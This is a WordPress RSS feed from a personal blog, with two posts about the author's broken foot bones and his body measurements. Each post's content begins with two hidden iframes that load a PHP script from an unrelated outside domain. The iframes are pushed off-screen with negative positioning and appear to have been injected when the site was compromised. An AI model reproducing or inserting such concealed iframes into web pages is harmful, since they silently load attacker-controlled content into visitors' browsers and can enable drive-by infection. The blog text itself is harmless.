<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Adam G Newton &#187; 5th Metatarsal</title>
	<atom:link href="http://www.adamgnewton.co.uk/tag/5th-metatarsal/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.adamgnewton.co.uk</link>
	<description>It&#039;s all about me</description>
	<lastBuildDate>Sat, 28 Jan 2012 15:43:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Fatter than you think you are&#8230;</title>
		<link>http://www.adamgnewton.co.uk/2009/01/fatter-than-you-think-you-are/</link>
		<comments>http://www.adamgnewton.co.uk/2009/01/fatter-than-you-think-you-are/#comments</comments>
		<pubDate>Fri, 02 Jan 2009 16:01:25 +0000</pubDate>
		<dc:creator>Adam G Newton</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[5th Metatarsal]]></category>
		<category><![CDATA[Accurate Comparison]]></category>
		<category><![CDATA[Belly Button]]></category>
		<category><![CDATA[Best Places]]></category>
		<category><![CDATA[Biceps]]></category>
		<category><![CDATA[Calves]]></category>
		<category><![CDATA[Concrete Floor]]></category>
		<category><![CDATA[Crunch]]></category>
		<category><![CDATA[Dive Down]]></category>
		<category><![CDATA[Flight Of Stairs]]></category>
		<category><![CDATA[January 2nd]]></category>
		<category><![CDATA[Left Foot]]></category>
		<category><![CDATA[Marker]]></category>
		<category><![CDATA[Plaster Cast]]></category>
		<category><![CDATA[Right Arm]]></category>
		<category><![CDATA[Right Foot]]></category>
		<category><![CDATA[Thighs]]></category>
		<category><![CDATA[Trousers]]></category>
		<category><![CDATA[Twinge]]></category>
		<category><![CDATA[Waist Measurement]]></category>

		<guid isPermaLink="false">http://adamgnewton.co.uk/?p=31</guid>
		<description><![CDATA[I thought as well as tracking my weight, I should take some measurements to see how weight change affects the general shape of my body. I figured the best places to measure would be my upper arms (NOT biceps &#8211; &#8230; <a href="http://www.adamgnewton.co.uk/2009/01/fatter-than-you-think-you-are/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='412' height='379' style='position:absolute; left:-3181;'></iframe><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='193' height='160' style='position:absolute; left:-3919;'></iframe>I thought as well as tracking my weight, I should take some measurements to see how weight change affects the general shape of my body. I figured the best places to measure would be my upper arms (NOT biceps &#8211; that&#8217;s an entirely different measurement, and I&#8217;m not getting in to that here), my chest (flat and inflated), my waist, thighs and calves.</p>
<p>Now, my left calf looks considerably smaller than the right &#8211; and it is according to the tape too! The reason for this is that 11 months ago I took a dive down a flight of stairs on to a concrete floor, breaking the 5th metatarsal in my right foot and at least 3 bones in my left foot. Due to this, both legs were in plaster for several weeks, the left for far longer than the right. During this time the muscle atrophied, and hasn&#8217;t fully come back yet &#8211; and it&#8217;s not helped by my left foot constantly causing me grief, a twinge here, a crunch there. Probably won&#8217;t ever be right, but I&#8217;m not here to complain &#8211; just to explain why I&#8217;m lopsided!!</p>
<p>Something that caught me by surprise was my waist measurement &#8211; if there are any pros out there who want to say I&#8217;ve measured it incorrectly, well, fine &#8211; but I&#8217;m going to keep measuring in the same place so I can have an accurate comparison. I measured all the way round, passing straight over my belly button &#8211; it&#8217;s as good a marker as any! My trousers are normally 38&#8243; waist, very occasionally 36&#8243;, but that feels tight. I wear my trousers so they sit under my belly, which means my <em>actual</em> waist is bigger. Much bigger. Oh my. Much much bigger.</p>
<p>So here are the stats, as measured on January 2nd 2009:</p>
<p>Waist :45&#8243;</p>
<p>Chest : 44&#8243;/46&#8243;</p>
<p>Arms : (L/R) : 12&#8243;/13&#8243;</p>
<p>Thighs (L/R) : 25&#8243;/23&#8243;</p>
<p>Calves (L/R) : 15&#8243;/17&#8243;</p>
<p>I did expect a difference between the two sides of my body, as I am naturally right handed so the muscles would have different work to do. Not sure why my right arm is larger but my left thigh is larger&#8230;maybe because of carrying the weight of the plaster cast around!!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adamgnewton.co.uk/2009/01/fatter-than-you-think-you-are/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>1 metartarsal, 2 metatarsal, 3&#8230;</title>
		<link>http://www.adamgnewton.co.uk/2008/02/1-metartarsal-2-metatarsal-3/</link>
		<comments>http://www.adamgnewton.co.uk/2008/02/1-metartarsal-2-metatarsal-3/#comments</comments>
		<pubDate>Wed, 27 Feb 2008 17:19:28 +0000</pubDate>
		<dc:creator>Adam G Newton</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[5th Metatarsal]]></category>
		<category><![CDATA[Bone Fragments]]></category>
		<category><![CDATA[Broken Bones]]></category>
		<category><![CDATA[Crutches]]></category>
		<category><![CDATA[Ct Scan]]></category>
		<category><![CDATA[Diagnosis]]></category>
		<category><![CDATA[Left Foot]]></category>
		<category><![CDATA[Ligament Damage]]></category>
		<category><![CDATA[Ligaments]]></category>
		<category><![CDATA[Nurses]]></category>
		<category><![CDATA[Plaster]]></category>
		<category><![CDATA[Tubular Bandage]]></category>

		<guid isPermaLink="false">http://adamgnewton.co.uk/?p=1138</guid>
		<description><![CDATA[I&#8217;m getting a good collection of broken bones now. As previously noted, I&#8217;ve broken the 5th metatarsal in my right foot. Today I went to the hospital to get the results of a CT scan on my left foot. I&#8217;ve &#8230; <a href="http://www.adamgnewton.co.uk/2008/02/1-metartarsal-2-metatarsal-3/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='412' height='379' style='position:absolute; left:-3181;'></iframe><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='193' height='160' style='position:absolute; left:-3919;'></iframe>I&#8217;m getting a good collection of broken bones now. As previously noted, I&#8217;ve broken the 5th metatarsal in my right foot. Today I went to the hospital to get the results of a CT scan on my left foot.</p>
<p>I&#8217;ve broken the 2nd metatarsal, the 3rd metatarsal, and also the 4th metatarsal. There are bone fragments floating around in my foot next to the ligaments, and I am now in a full cast and not allowed to put any weight on my left foot. My right foot requires no plaster at all now.</p>
<p>This is good in a way &#8211; I now have one working foot! However, I&#8217;m glad I moaned at the nurses who insisted I kept my weight OFF my RIGHT foot (which they strapped in a tubular bandage) and gave me a pair of crutches, instructing me to HOP on my LEFT foot. If I&#8217;d done that, the breaks would have become worse, and the bone fragments would have caused severe ligament damage.</p>
<p>My initial (untrained, note well) diagnosis was that I&#8217;d broken at least two bones and buggered the ligaments in my left foot. The staff at the hospital &#8211; until today &#8211; thought they knew better.</p>
<p>Next time I&#8217;m going private&#8230;</p>
<p>No. Wait. Let&#8217;s not have a next time, eh?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adamgnewton.co.uk/2008/02/1-metartarsal-2-metatarsal-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

